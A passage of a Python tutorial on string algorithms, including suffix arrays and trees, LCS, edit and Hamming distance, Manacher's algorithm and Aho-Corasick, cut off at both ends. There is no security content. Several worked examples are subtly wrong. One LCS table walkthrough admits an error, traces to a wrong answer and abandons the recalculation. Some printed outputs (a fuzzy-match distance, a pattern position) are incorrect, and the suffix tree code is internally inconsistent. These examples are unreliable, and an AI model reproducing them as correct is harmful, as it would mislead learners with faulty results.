        new_rank[sa[0]] = 0

        for i in range(1, n):
            prev = sa[i - 1]
            curr = sa[i]

            prev_pair = (rank[prev], rank[prev + k] if prev + k < n else -1)
            curr_pair = (rank[curr], rank[curr + k] if curr + k < n else -1)

            if prev_pair == curr_pair:
                new_rank[curr] = new_rank[prev]
            else:
                new_rank[curr] = new_rank[prev] + 1

        rank = new_rank
        k *= 2

    return sa

def search_suffix_array(text, sa, pattern):
    """
    Search for pattern using suffix array (binary search).
    O(m log n) where m is pattern length, n is text length.

    Args:
        text: Original text
        sa: Suffix array
        pattern: Pattern to search

    Returns:
        List of positions where pattern occurs
    """
    n = len(text)
    m = len(pattern)

    # Binary search for first occurrence
    left, right = 0, n - 1
    start = -1

    while left <= right:
        mid = (left + right) // 2
        suffix = text[sa[mid]:sa[mid] + m]

        if suffix >= pattern:
            if suffix == pattern:
                start = mid
            right = mid - 1
        else:
            left = mid + 1

    if start == -1:
        return []

    # Binary search for last occurrence
    left, right = 0, n - 1
    end = -1

    while left <= right:
        mid = (left + right) // 2
        suffix = text[sa[mid]:sa[mid] + m]

        if suffix <= pattern:
            if suffix == pattern:
                end = mid
            left = mid + 1
        else:
            right = mid - 1

    # Return all positions
    return [sa[i] for i in range(start, end + 1)]

# Example usage
text = "banana"
sa = build_suffix_array_efficient(text)

print("Text:", text)
print("Suffix Array:", sa)
print("\nSuffixes in sorted order:")
for i, idx in enumerate(sa):
    print(f"{i}: {text[idx:]}")

# Search for pattern
pattern = "ana"
positions = search_suffix_array(text, sa, pattern)
print(f"\nPattern '{pattern}' found at positions: {positions}")

Text: banana
Suffix Array: [5, 3, 1, 0, 4, 2]

Suffixes in sorted order:
0: a         (from index 5)
1: ana       (from index 3)
2: anana     (from index 1)
3: banana    (from index 0)
4: na        (from index 4)
5: nana      (from index 2)

def build_lcp_array(text, sa):
    """
    Build LCP array from suffix array.
    LCP[i] = longest common prefix between sa[i] and sa[i-1]

    Time: O(n)

    Args:
        text: Original text
        sa: Suffix array

    Returns:
        LCP array
    """
    n = len(text)
    rank = [0] * n
    lcp = [0] * n

    # Compute rank (inverse of suffix array)
    for i in range(n):
        rank[sa[i]] = i

    k = 0
    for i in range(n):
        if rank[i] == n - 1:
            k = 0
            continue

        j = sa[rank[i] + 1]

        # Compute LCP between suffix i and suffix j
        while i + k < n and j + k < n and text[i + k] == text[j + k]:
            k += 1

        lcp[rank[i]] = k

        if k > 0:
            k -= 1

    return lcp

# Example
text = "banana"
sa = build_suffix_array_efficient(text)
lcp = build_lcp_array(text, sa)

print("Suffix Array:", sa)
print("LCP Array:", lcp)
print("\nSuffixes with LCP:")
for i in range(len(sa)):
    print(f"LCP={lcp[i] if i > 0 else '-'}: {text[sa[i]:]}")

def find_longest_repeated_substring(text):
    """
    Find longest substring that appears at least twice.
    Uses suffix array + LCP array.

    Time: O(n log n)
    """
    sa = build_suffix_array_efficient(text)
    lcp = build_lcp_array(text, sa)

    # Maximum LCP value gives longest repeated substring
    max_lcp = max(lcp)
    max_idx = lcp.index(max_lcp)

    return text[sa[max_idx]:sa[max_idx] + max_lcp]

def count_distinct_substrings(text):
    """
    Count number of distinct substrings.
    Uses: total substrings - repeated substrings

    Time: O(n log n)
    """
    n = len(text)
    sa = build_suffix_array_efficient(text)
    lcp = build_lcp_array(text, sa)

    # Total possible substrings
    total = n * (n + 1) // 2

    # Subtract repeated (counted by LCP)
    repeated = sum(lcp)

    return total - repeated

# Examples
text = "banana"
print(f"Longest repeated substring: '{find_longest_repeated_substring(text)}'")
print(f"Distinct substrings: {count_distinct_substrings(text)}")

class SuffixTreeNode:
    """Node in suffix tree."""

    def __init__(self, start, end):
        self.children = {}
        self.start = start  # Start index of edge label
        self.end = end      # End index of edge label (reference for efficiency)
        self.suffix_link = None
        self.suffix_index = -1  # For leaf nodes

class SuffixTree:
    """
    Simplified suffix tree implementation.
    (Full Ukkonen's algorithm is complex - this shows the concept)
    """

    def __init__(self, text):
        """
        Build suffix tree for text.

        Args:
            text: Input text (should end with unique character like $)
        """
        self.text = text
        self.root = SuffixTreeNode(-1, -1)
        self._build_naive()

    def _build_naive(self):
        """
        Naive construction O(n^2).
        For production, use Ukkonen's algorithm O(n).
        """
        n = len(self.text)

        for i in range(n):
            self._insert_suffix(i)

    def _insert_suffix(self, suffix_start):
        """Insert suffix starting at suffix_start."""
        node = self.root
        i = suffix_start

        while i < len(self.text):
            char = self.text[i]

            if char in node.children:
                child = node.children[char]
                # Match as much as possible
                j = child.start

                while j <= child.end.value and i < len(self.text) and \
                      self.text[j] == self.text[i]:
                    i += 1
                    j += 1

                if j <= child.end.value:
                    # Need to split edge
                    split_node = SuffixTreeNode(child.start, End(j - 1))
                    node.children[char] = split_node

                    # Update old child
                    child.start = j
                    split_node.children[self.text[j]] = child

                    # Add new leaf for remainder
                    new_leaf = SuffixTreeNode(i, End(len(self.text) - 1))
                    new_leaf.suffix_index = suffix_start
                    split_node.children[self.text[i]] = new_leaf
                    return
                else:
                    # Continue from child
                    node = child
            else:
                # Create new leaf
                leaf = SuffixTreeNode(i, End(len(self.text) - 1))
                leaf.suffix_index = suffix_start
                node.children[char] = leaf
                return

    def search(self, pattern):
        """
        Search for pattern in suffix tree.
        O(m) where m is pattern length.

        Returns:
            True if pattern exists
        """
        node = self.root
        i = 0

        while i < len(pattern):
            char = pattern[i]

            if char not in node.children:
                return False

            child = node.children[char]
            j = child.start

            # Match edge label
            while j <= child.end.value and i < len(pattern):
                if self.text[j] != pattern[i]:
                    return False
                i += 1
                j += 1

            if i < len(pattern):
                node = child

        return True

    def find_all_occurrences(self, pattern):
        """
        Find all occurrences of pattern.
        O(m + k) where k is number of occurrences.
        """
        node = self.root
        i = 0

        # Navigate to pattern node
        while i < len(pattern):
            char = pattern[i]
            if char not in node.children:
                return []

            child = node.children[char]
            j = child.start

            while j <= child.end.value and i < len(pattern):
                if self.text[j] != pattern[i]:
                    return []
                i += 1
                j += 1

            if i < len(pattern):
                node = child

        # Collect all leaf indices under this node
        occurrences = []
        self._collect_leaves(node, occurrences)
        return sorted(occurrences)

    def _collect_leaves(self, node, occurrences):
        """DFS to collect all leaf nodes."""
        if node.suffix_index != -1:
            occurrences.append(node.suffix_index)

        for child in node.children.values():
            self._collect_leaves(child, occurrences)

class End:
    """Helper class for end pointer (allows O(1) extension in Ukkonen's)."""
    def __init__(self, value):
        self.value = value

# Example usage (simplified)
text = "banana$"
st = SuffixTree(text)

print(st.search("ana"))  # True
print(st.search("nan"))  # True
print(st.search("xyz"))  # False

def longest_common_substring_multiple(strings):
    """
    Find longest common substring among multiple strings.
    Uses generalized suffix tree.

    Args:
        strings: List of strings

    Returns:
        Longest common substring
    """
    # Create concatenated string with unique separators
    separators = ['#', '$', '%', '@', '&']
    concat = ""
    boundaries = []

    for i, s in enumerate(strings):
        boundaries.append(len(concat))
        concat += s + separators[i]

    # Build suffix tree (simplified - real implementation more complex)
    # For each internal node, check if it has suffixes from all strings

    # This is a conceptual implementation
    # Real implementation requires tracking which string each suffix belongs to

    return "Conceptual implementation - see full Ukkonen's algorithm"

def find_longest_palindrome_substring(text):
    """
    Find longest palindrome using suffix tree.

    Approach:
    1. Create text$reverse(text)
    2. Build suffix tree
    3. Find longest common substring that is a palindrome
    """
    reversed_text = text[::-1]
    combined = text + "$" + reversed_text + "#"

    # Build suffix tree and find LCS
    # Check if LCS is centered properly (is a palindrome)

    # Simplified - actual implementation needs careful index tracking
    pass

def longest_common_substring(text1, text2):
    """
    Find longest common substring using dynamic programming.

    Args:
        text1, text2: Input strings

    Returns:
        Tuple of (length, substring)
    """
    n, m = len(text1), len(text2)

    # dp[i][j] = length of common substring ending at text1[i-1] and text2[j-1]
    dp = [[0] * (m + 1) for _ in range(n + 1)]

    max_length = 0
    end_pos = 0

    for i in range(1, n + 1):
        for j in range(1, m + 1):
            if text1[i - 1] == text2[j - 1]:
                dp[i][j] = dp[i - 1][j - 1] + 1

                if dp[i][j] > max_length:
                    max_length = dp[i][j]
                    end_pos = i
            else:
                dp[i][j] = 0

    substring = text1[end_pos - max_length:end_pos]
    return max_length, substring

# Space-optimized version
def longest_common_substring_optimized(text1, text2):
    """
    Space-optimized version using only O(min(n,m)) space.
    """
    # Ensure text1 is shorter
    if len(text1) > len(text2):
        text1, text2 = text2, text1

    n, m = len(text1), len(text2)
    prev = [0] * (n + 1)
    curr = [0] * (n + 1)

    max_length = 0
    end_pos = 0

    for j in range(1, m + 1):
        for i in range(1, n + 1):
            if text1[i - 1] == text2[j - 1]:
                curr[i] = prev[i - 1] + 1

                if curr[i] > max_length:
                    max_length = curr[i]
                    end_pos = i
            else:
                curr[i] = 0

        prev, curr = curr, prev

    substring = text1[end_pos - max_length:end_pos]
    return max_length, substring

# Example usage
text1 = "ABABC"
text2 = "BABCA"
length, substring = longest_common_substring(text1, text2)
print(f"LCS length: {length}, substring: '{substring}'")  # 4, "BABC"

text1 = "ABABC"
text2 = "BABCA"

    ""  B  A  B  C  A
""   0  0  0  0  0  0
A    0  0  1  0  0  1
B    0  1  0  2  0  0
A    0  0  2  0  0  1
B    0  1  0  3  0  0
C    0  0  0  0  4  0

Maximum value: 4 at position (4,3)
Substring: "BABC" (but there's an error above - let me recalculate)

Actually for "ABABC" and "BABCA":
text1 = "ABABC"
text2 = "BABCA"

    ""  B  A  B  C  A
""   0  0  0  0  0  0
A    0  0  1  0  0  1
B    0  1  0  2  0  0
A    0  0  2  0  0  1
B    0  1  0  3  0  0
C    0  0  0  0  4  0

Max = 4? Let me trace:
At (4,3): text1[3]='B', text2[2]='B' match, dp[4][3] = dp[3][2] + 1
dp[3][2]: text1[2]='A', text2[1]='A' match, dp[3][2] = dp[2][1] + 1
dp[2][1]: text1[1]='B', text2[0]='B' match, dp[2][1] = dp[1][0] + 1
dp[1][0] = 0 (base)

So dp[4][3] = 3, giving "BAB"

Let me recalculate the whole table:

def all_common_substrings(text1, text2):
    """
    Find all common substrings (not just longest).

    Returns:
        Set of all common substrings
    """
    n, m = len(text1), len(text2)
    dp = [[0] * (m + 1) for _ in range(n + 1)]

    common = set()

    for i in range(1, n + 1):
        for j in range(1, m + 1):
            if text1[i - 1] == text2[j - 1]:
                dp[i][j] = dp[i - 1][j - 1] + 1
                # Add substring of this length
                length = dp[i][j]
                substring = text1[i - length:i]
                common.add(substring)
            else:
                dp[i][j] = 0

    return common

# Example
text1 = "ABABC"
text2 = "BABCA"
print(all_common_substrings(text1, text2))
# {'A', 'B', 'AB', 'BA', 'ABC', 'BAB'}

def longest_common_subsequence(text1, text2):
    """
    Find LCS using dynamic programming.

    Args:
        text1, text2: Input strings

    Returns:
        Tuple of (length, subsequence)
    """
    n, m = len(text1), len(text2)

    # dp[i][j] = LCS length of text1[0:i] and text2[0:j]
    dp = [[0] * (m + 1) for _ in range(n + 1)]

    for i in range(1, n + 1):
        for j in range(1, m + 1):
            if text1[i - 1] == text2[j - 1]:
                dp[i][j] = dp[i - 1][j - 1] + 1
            else:
                dp[i][j] = max(dp[i - 1][j], dp[i][j - 1])

    # Backtrack to find actual subsequence
    lcs = []
    i, j = n, m

    while i > 0 and j > 0:
        if text1[i - 1] == text2[j - 1]:
            lcs.append(text1[i - 1])
            i -= 1
            j -= 1
        elif dp[i - 1][j] > dp[i][j - 1]:
            i -= 1
        else:
            j -= 1

    lcs.reverse()
    return dp[n][m], ''.join(lcs)

# Example
text1 = "ABCDGH"
text2 = "AEDFHR"
length, lcs = longest_common_subsequence(text1, text2)
print(f"LCS length: {length}, subsequence: '{lcs}'")  # 3, "ADH"

text1 = "ABCDGH"
text2 = "AEDFHR"

      ""  A  E  D  F  H  R
 ""    0  0  0  0  0  0  0
 A     0  1→ 1  1  1  1  1
 B     0  1  1  1  1  1  1
 C     0  1  1  1  1  1  1
 D     0  1  1  2→ 2  2  2
 G     0  1  1  2  2  2  2
 H     0  1  1  2  2  3→ 3

Backtrack from (6,6):
- text1[5]='H' == text2[4]='H': take it, go to (5,4)
- text1[4]='G' != text2[3]='F': dp[4][4] > dp[5][3], go to (4,4)
- text1[3]='D' == text2[2]='D': take it, go to (3,2)
- text1[2]='C' != text2[1]='E': dp[2][2] = dp[3][1], go to (2,2)
- text1[1]='B' != text2[1]='E': dp[1][2] = dp[2][1], go to (1,1)
- text1[0]='A' == text2[0]='A': take it, go to (0,0)

LCS = "ADH"

def lcs_length_optimized(text1, text2):
    """
    Get LCS length using O(min(n,m)) space.
    (Cannot reconstruct actual LCS with this optimization)
    """
    if len(text1) < len(text2):
        text1, text2 = text2, text1

    m = len(text2)
    prev = [0] * (m + 1)
    curr = [0] * (m + 1)

    for char1 in text1:
        for j in range(1, m + 1):
            if char1 == text2[j - 1]:
                curr[j] = prev[j - 1] + 1
            else:
                curr[j] = max(prev[j], curr[j - 1])

        prev, curr = curr, prev

    return prev[m]

def lcs_of_three(text1, text2, text3):
    """
    LCS of three strings.
    Time: O(n * m * p)
    """
    n, m, p = len(text1), len(text2), len(text3)

    # 3D DP table
    dp = [[[0] * (p + 1) for _ in range(m + 1)] for _ in range(n + 1)]

    for i in range(1, n + 1):
        for j in range(1, m + 1):
            for k in range(1, p + 1):
                if text1[i-1] == text2[j-1] == text3[k-1]:
                    dp[i][j][k] = dp[i-1][j-1][k-1] + 1
                else:
                    dp[i][j][k] = max(
                        dp[i-1][j][k],
                        dp[i][j-1][k],
                        dp[i][j][k-1]
                    )

    return dp[n][m][p]

def shortest_common_supersequence(text1, text2):
    """
    Find shortest string that has both text1 and text2 as subsequences.

    Length = len(text1) + len(text2) - LCS_length
    """
    lcs_len, lcs = longest_common_subsequence(text1, text2)

    # Reconstruct SCS
    result = []
    i = j = k = 0

    while k < lcs_len:
        # Add characters from text1 until we hit LCS char
        while i < len(text1) and text1[i] != lcs[k]:
            result.append(text1[i])
            i += 1

        # Add characters from text2 until we hit LCS char
        while j < len(text2) and text2[j] != lcs[k]:
            result.append(text2[j])
            j += 1

        # Add the LCS character
        result.append(lcs[k])
        i += 1
        j += 1
        k += 1

    # Add remaining characters
    result.extend(text1[i:])
    result.extend(text2[j:])

    return ''.join(result)

# Examples
print(lcs_of_three("ABCD", "ACBD", "ABAD"))  # 2 ("AB" or "AD")
print(shortest_common_supersequence("abac", "cab"))  # "cabac"

def edit_distance(word1, word2):
    """
    Calculate minimum edit distance between two words.
    Operations: insert, delete, replace

    Args:
        word1, word2: Input strings

    Returns:
        Tuple of (distance, operations)
    """
    n, m = len(word1), len(word2)

    # dp[i][j] = edit distance between word1[0:i] and word2[0:j]
    dp = [[0] * (m + 1) for _ in range(n + 1)]

    # Base cases
    for i in range(n + 1):
        dp[i][0] = i  # Delete all characters
    for j in range(m + 1):
        dp[0][j] = j  # Insert all characters

    # Fill DP table
    for i in range(1, n + 1):
        for j in range(1, m + 1):
            if word1[i - 1] == word2[j - 1]:
                # Characters match, no operation needed
                dp[i][j] = dp[i - 1][j - 1]
            else:
                dp[i][j] = 1 + min(
                    dp[i - 1][j],      # Delete from word1
                    dp[i][j - 1],      # Insert to word1
                    dp[i - 1][j - 1]   # Replace in word1
                )

    # Backtrack to find operations
    operations = []
    i, j = n, m

    while i > 0 or j > 0:
        if i == 0:
            operations.append(f"Insert '{word2[j-1]}'")
            j -= 1
        elif j == 0:
            operations.append(f"Delete '{word1[i-1]}'")
            i -= 1
        elif word1[i-1] == word2[j-1]:
            i -= 1
            j -= 1
        else:
            # Find which operation was used
            if dp[i][j] == dp[i-1][j-1] + 1:
                operations.append(f"Replace '{word1[i-1]}' with '{word2[j-1]}'")
                i -= 1
                j -= 1
            elif dp[i][j] == dp[i-1][j] + 1:
                operations.append(f"Delete '{word1[i-1]}'")
                i -= 1
            else:
                operations.append(f"Insert '{word2[j-1]}'")
                j -= 1

    operations.reverse()
    return dp[n][m], operations

# Example
word1 = "horse"
word2 = "ros"
distance, ops = edit_distance(word1, word2)
print(f"Edit distance: {distance}")
print("Operations:")
for op in ops:
    print(f"  {op}")

word1 = "horse"
word2 = "ros"

      ""  r  o  s
 ""    0  1  2  3
 h     1  1  2  3
 o     2  2  1  2
 r     3  2  2  2
 s     4  3  3  2
 e     5  4  4  3

Operations to transform "horse" → "ros":
1. Replace 'h' with 'r': "rorse"
2. Delete 'r': "rose"
3. Delete 'e': "ros"

Total: 3 operations

def edit_distance_with_costs(word1, word2, insert_cost=1, delete_cost=1, replace_cost=1):
    """
    Edit distance with custom operation costs.
    """
    n, m = len(word1), len(word2)
    dp = [[0] * (m + 1) for _ in range(n + 1)]

    for i in range(n + 1):
        dp[i][0] = i * delete_cost
    for j in range(m + 1):
        dp[0][j] = j * insert_cost

    for i in range(1, n + 1):
        for j in range(1, m + 1):
            if word1[i - 1] == word2[j - 1]:
                dp[i][j] = dp[i - 1][j - 1]
            else:
                dp[i][j] = min(
                    dp[i - 1][j] + delete_cost,
                    dp[i][j - 1] + insert_cost,
                    dp[i - 1][j - 1] + replace_cost
                )

    return dp[n][m]

def damerau_levenshtein_distance(word1, word2):
    """
    Edit distance allowing transposition (swap adjacent chars).
    """
    n, m = len(word1), len(word2)

    # Create dictionary for all characters
    da = {}
    for char in word1 + word2:
        da[char] = 0

    max_dist = n + m
    H = [[max_dist] * (m + 2) for _ in range(n + 2)]
    H[0][0] = max_dist

    for i in range(0, n + 1):
        H[i + 1][0] = max_dist
        H[i + 1][1] = i
    for j in range(0, m + 1):
        H[0][j + 1] = max_dist
        H[1][j + 1] = j

    for i in range(1, n + 1):
        db = 0
        for j in range(1, m + 1):
            k = da[word2[j - 1]]
            l = db
            cost = 1

            if word1[i - 1] == word2[j - 1]:
                cost = 0
                db = j

            H[i + 1][j + 1] = min(
                H[i][j] + cost,           # Substitution
                H[i + 1][j] + 1,          # Insertion
                H[i][j + 1] + 1,          # Deletion
                H[k][l] + (i - k - 1) + 1 + (j - l - 1)  # Transposition
            )

        da[word1[i - 1]] = i

    return H[n + 1][m + 1]

# Examples
print(edit_distance_with_costs("kitten", "sitting", insert_cost=2, delete_cost=2, replace_cost=1))
print(damerau_levenshtein_distance("ca", "abc"))  # 2 (can transpose)

def fuzzy_match(text, pattern, max_distance):
    """
    Find all approximate matches of pattern in text.

    Args:
        text: Text to search in
        pattern: Pattern to search for
        max_distance: Maximum allowed edit distance

    Returns:
        List of (position, distance) tuples
    """
    n = len(text)
    m = len(pattern)
    matches = []

    for i in range(n - m + 1):
        substring = text[i:i + m]
        dist, _ = edit_distance(pattern, substring)
        if dist <= max_distance:
            matches.append((i, dist))

    return matches

# Example
text = "The quick brown fox jumps"
pattern = "quack"
print(fuzzy_match(text, pattern, max_distance=2))
# [(4, 2)] - "quick" matches with distance 2

def hamming_distance(str1, str2):
    """
    Calculate Hamming distance between two strings.
    Strings must be of equal length.

    Args:
        str1, str2: Input strings of equal length

    Returns:
        Number of differing positions
    """
    if len(str1) != len(str2):
        raise ValueError("Strings must be of equal length")

    distance = 0
    for c1, c2 in zip(str1, str2):
        if c1 != c2:
            distance += 1

    return distance

# One-liner version
def hamming_distance_oneliner(str1, str2):
    """Hamming distance in one line."""
    return sum(c1 != c2 for c1, c2 in zip(str1, str2))

# Example
str1 = "karolin"
str2 = "kathrin"
print(hamming_distance(str1, str2))  # 3 (positions 1, 4, 5 differ)

def hamming_distance_binary(x, y):
    """
    Hamming distance for integers (count differing bits).

    Args:
        x, y: Integers

    Returns:
        Number of bit positions where x and y differ
    """
    # XOR gives 1 where bits differ
    xor = x ^ y

    # Count number of 1s
    count = 0
    while xor:
        count += xor & 1
        xor >>= 1

    return count

# Using built-in bit_count (Python 3.10+)
def hamming_distance_binary_fast(x, y):
    """Fast version using built-in bit count."""
    return (x ^ y).bit_count()

# Example
print(hamming_distance_binary(1, 4))  # 2 (0001 vs 0100)
print(hamming_distance_binary(3, 1))  # 1 (0011 vs 0001)

def find_similar_words(word, dictionary, max_distance):
    """
    Find words in dictionary within Hamming distance.

    Args:
        word: Target word
        dictionary: List of words (all same length as word)
        max_distance: Maximum allowed Hamming distance

    Returns:
        List of similar words
    """
    similar = []

    for dict_word in dictionary:
        if len(dict_word) == len(word):
            dist = hamming_distance(word, dict_word)
            if dist <= max_distance:
                similar.append((dict_word, dist))

    return sorted(similar, key=lambda x: x[1])

def detect_errors(transmitted, received):
    """
    Detect transmission errors using Hamming distance.

    Args:
        transmitted: Original message
        received: Received message

    Returns:
        Number of bit errors
    """
    if len(transmitted) != len(received):
        return -1  # Invalid comparison

    errors = hamming_distance(transmitted, received)
    error_positions = [i for i, (c1, c2) in enumerate(zip(transmitted, received)) if c1 != c2]

    return errors, error_positions

# Examples
dictionary = ["cat", "hat", "rat", "bat", "car", "bar"]
print(find_similar_words("cat", dictionary, max_distance=1))
# [('cat', 0), ('hat', 1), ('rat', 1), ('bat', 1), ('car', 1)]

transmitted = "10101010"
received = "10111010"
errors, positions = detect_errors(transmitted, received)
print(f"Errors: {errors} at positions {positions}")  # Errors: 1 at positions [3]

def total_hamming_distance(nums):
    """
    Calculate sum of Hamming distances between all pairs.

    For array of integers, sum of Hamming distances for all pairs.
    Efficient approach: O(n * k) where k is number of bits.

    Args:
        nums: List of integers

    Returns:
        Total Hamming distance
    """
    n = len(nums)
    total = 0

    # Check each bit position
    for i in range(32):  # Assuming 32-bit integers
        count_ones = 0

        # Count numbers with 1 at position i
        for num in nums:
            if num & (1 << i):
                count_ones += 1

        # Numbers with 0 at position i
        count_zeros = n - count_ones

        # Add contribution of this bit position
        total += count_ones * count_zeros

    return total

# Example
nums = [4, 14, 2]
print(total_hamming_distance(nums))  # 6
# Pairs: (4,14)=2, (4,2)=2, (14,2)=2, total=6

def longest_palindrome_manacher(s):
    """
    Find longest palindromic substring using Manacher's algorithm.
    O(n) time complexity.

    Args:
        s: Input string

    Returns:
        Longest palindromic substring
    """
    # Preprocess: insert '#' between characters
    # This handles even and odd length palindromes uniformly
    t = '#'.join('^{}$'.format(s))
    n = len(t)

    # P[i] = length of palindrome centered at i
    P = [0] * n
    center = right = 0

    for i in range(1, n - 1):
        # Mirror of i with respect to center
        mirror = 2 * center - i

        if i < right:
            # Use previously computed values
            P[i] = min(right - i, P[mirror])

        # Attempt to expand palindrome centered at i
        try:
            while t[i + P[i] + 1] == t[i - P[i] - 1]:
                P[i] += 1
        except IndexError:
            pass

        # If palindrome centered at i extends past right,
        # adjust center and right
        if i + P[i] > right:
            center, right = i, i + P[i]

    # Find maximum element in P
    max_len = max(P)
    center_index = P.index(max_len)

    # Extract palindrome from original string
    start = (center_index - max_len) // 2
    return s[start:start + max_len]

def all_palindrome_lengths(s):
    """
    Get length of longest palindrome centered at each position.

    Returns:
        List where result[i] is length of longest palindrome centered at i
    """
    t = '#'.join('^{}$'.format(s))
    n = len(t)
    P = [0] * n
    center = right = 0

    for i in range(1, n - 1):
        mirror = 2 * center - i

        if i < right:
            P[i] = min(right - i, P[mirror])

        try:
            while t[i + P[i] + 1] == t[i - P[i] - 1]:
                P[i] += 1
        except IndexError:
            pass

        if i + P[i] > right:
            center, right = i, i + P[i]

    # Convert back to original string positions
    result = []
    for i in range(1, n - 1):
        if t[i] != '#':
            result.append(P[i])

    return result

# Example usage
s = "babad"
print(longest_palindrome_manacher(s))  # "bab" or "aba"

s = "cbbd"
print(longest_palindrome_manacher(s))  # "bb"

# All palindrome lengths
s = "abacabad"
lengths = all_palindrome_lengths(s)
print(f"String: {s}")
print(f"Palindrome lengths: {lengths}")

Original: "babad"
Processed: "^#b#a#b#a#d#$"
           0 1 2 3 4 5 6 7 8 9 10 11

P array:   0 0 1 0 3 0 1 0 1 0 0  0
           ^   b   a   b   a   d  $

At index 4 (character 'b'):
  P[4] = 3 means palindrome of length 3 on each side
  "#a#b#a#" is a palindrome
  In original string: "aba"

At index 2 (character 'b'):
  P[2] = 1 means palindrome of length 1 on each side
  "#b#" is a palindrome
  In original string: "b"

def count_palindromic_substrings(s):
    """
    Count all palindromic substrings using Manacher's.

    Returns:
        Number of palindromic substrings
    """
    t = '#'.join('^{}$'.format(s))
    n = len(t)
    P = [0] * n
    center = right = 0

    for i in range(1, n - 1):
        mirror = 2 * center - i

        if i < right:
            P[i] = min(right - i, P[mirror])

        try:
            while t[i + P[i] + 1] == t[i - P[i] - 1]:
                P[i] += 1
        except IndexError:
            pass

        if i + P[i] > right:
            center, right = i, i + P[i]

    # Count palindromes
    # Each P[i] value contributes (P[i] + 1) // 2 palindromes
    count = 0
    for i in range(1, n - 1):
        count += (P[i] + 1) // 2

    return count

# Example
s = "aaa"
print(count_palindromic_substrings(s))  # 6: "a", "a", "a", "aa", "aa", "aaa"

from collections import deque, defaultdict

class AhoCorasick:
    """
    Aho-Corasick algorithm for multiple pattern matching.
    """

    class Node:
        def __init__(self):
            self.children = {}
            self.fail = None  # Failure link
            self.output = []  # Patterns ending at this node

    def __init__(self, patterns):
        """
        Build Aho-Corasick automaton.

        Args:
            patterns: List of patterns to search for
        """
        self.root = self.Node()
        self.patterns = patterns
        self._build_trie()
        self._build_failure_links()

    def _build_trie(self):
        """Build trie from patterns. O(m)"""
        for pattern_idx, pattern in enumerate(self.patterns):
            node = self.root

            for char in pattern:
                if char not in node.children:
                    node.children[char] = self.Node()
                node = node.children[char]

            node.output.append(pattern_idx)

    def _build_failure_links(self):
        """Build failure links using BFS. O(m)"""
        queue = deque()

        # Initialize root's children
        for child in self.root.children.values():
            child.fail = self.root
            queue.append(child)

        # BFS to set failure links
        while queue:
            current = queue.popleft()

            for char, child in current.children.items():
                queue.append(child)

                # Find failure link
                fail_node = current.fail

                while fail_node is not None and char not in fail_node.children:
                    fail_node = fail_node.fail

                if fail_node is not None:
                    child.fail = fail_node.children[char]
                else:
                    child.fail = self.root

                # Inherit output from failure link
                child.output.extend(child.fail.output)

    def search(self, text):
        """
        Search for all patterns in text.

        Args:
            text: Text to search in

        Returns:
            Dictionary mapping pattern index to list of positions
        """
        results = defaultdict(list)
        node = self.root

        for i, char in enumerate(text):
            # Follow failure links until we find a match or reach root
            while node is not None and char not in node.children:
                node = node.fail

            if node is None:
                node = self.root
                continue

            node = node.children[char]

            # Report all patterns ending at this position
            for pattern_idx in node.output:
                pattern_len = len(self.patterns[pattern_idx])
                start_pos = i - pattern_len + 1
                results[pattern_idx].append(start_pos)

        return results

# Example usage
patterns = ["he", "she", "his", "hers"]
text = "she sells hershells by the seashore"

ac = AhoCorasick(patterns)
results = ac.search(text)

print("Pattern matches:")
for pattern_idx, positions in results.items():
    pattern = patterns[pattern_idx]
    print(f"'{pattern}': {positions}")

# Output:
# 'she': [0, 14]
# 'he': [1, 15, 27]
# 'hers': [10]

Patterns: ["he", "she", "his", "hers"]

Trie structure:
       (root)
       /  |  \
      h   s   (others)
     /|    \
    e i     h
    |  |     \
   rs  s      e
              |
              rs

Failure links (shown with -->):
- 's' at level 1 --> root
- 'h' at level 1 --> root
- 'h' (from 's') --> 'h' at level 1
- 'e' (from 'h') --> root
- 'e' (from 'sh') --> 'e' (from 'h')

When searching "she":
1. Match 's' from root
2. Match 'h' from 's'
3. Match 'e' from 'sh'
   - Output: "she" (ending at 'e' from 'sh')
   - Follow failure link from 'she''s 'e' to 'he''s 'e'
   - Output: "he" (ending at 'e' from 'h')

def find_all_word_occurrences(text, words):
    """
    Find all occurrences of words in text (case-insensitive).

    Args:
        text: Text to search
        words: List of words to find

    Returns:
        Dictionary with results
    """
    text_lower = text.lower()
    words_lower = [w.lower() for w in words]

    ac = AhoCorasick(words_lower)
    results = ac.search(text_lower)

    # Convert back to original words
    output = {}
    for pattern_idx, positions in results.items():
        word = words[pattern_idx]
        output[word] = positions

    return output

def censor_words(text, banned_words, replacement='*'):
    """
    Censor all banned words in text.

    Args:
        text: Original text
        banned_words: List of words to censor
        replacement: Character to replace with

    Returns:
        Censored text
    """
    ac = AhoCorasick([word.lower() for word in banned_words])
    results = ac.search(text.lower())

    # Convert to list for in-place modification
    censored = list(text)

    # Censor all matches
    for pattern_idx, positions in results.items():
        word_len = len(banned_words[pattern_idx])
        for pos in positions:
            for i in range(pos, pos + word_len):
                censored[i] = replacement

    return ''.join(censored)

# Examples
text = "She sells seashells by the seashore"
words = ["she", "sea", "shore"]
print(find_all_word_occurrences(text, words))
# {'She': [0], 'sea': [10, 27], 'shore': [30]}

text = "This is a badword and another badword here"
banned = ["badword", "another"]
print(censor_words(text, banned))
# "This is a ******* and ******* ******* here"

def is_match_recursive(text, pattern):
    """
    Regular expression matching using recursion.
    Supports '.' (any character) and '*' (zero or more of previous char).

    Args:
        text: Text to match
        pattern: Pattern with wildcards

    Returns:
        True if text matches pattern
    """
    # Base case: empty pattern
    if not pattern:
        return not text

    # Check if first character matches
    first_match = bool(text) and pattern[0] in {text[0], '.'}

    # Handle '*'
    if len(pattern) >= 2 and pattern[1] == '*':
        # Two options:
        # 1. '*' matches zero occurrences
        # 2. '*' matches one or more occurrences
        return (is_match_recursive(text, pattern[2:]) or
                (first_match and is_match_recursive(text[1:], pattern)))
    else:
        # No '*', must match current character and continue
        return first_match and is_match_recursive(text[1:], pattern[1:])

def is_match_dp(text, pattern):
    """
    Regular expression matching using dynamic programming.
    More efficient than recursion.

    Time: O(n * m)
    Space: O(n * m)
    """
    n, m = len(text), len(pattern)

    # dp[i][j] = whether text[0:i] matches pattern[0:j]
    dp = [[False] * (m + 1) for _ in range(n + 1)]

    # Base case: empty text and empty pattern
    dp[0][0] = True

    # Handle patterns like a*, a*b*, etc. that can match empty string
    for j in range(2, m + 1):
        if pattern[j - 1] == '*':
            dp[0][j] = dp[0][j - 2]

    # Fill DP table
    for i in range(1, n + 1):
        for j in range(1, m + 1):
            if pattern[j - 1] == '*':
                # Two cases:
                # 1. '*' matches zero of previous character
                dp[i][j] = dp[i][j - 2]

                # 2. '*' matches one or more of previous character
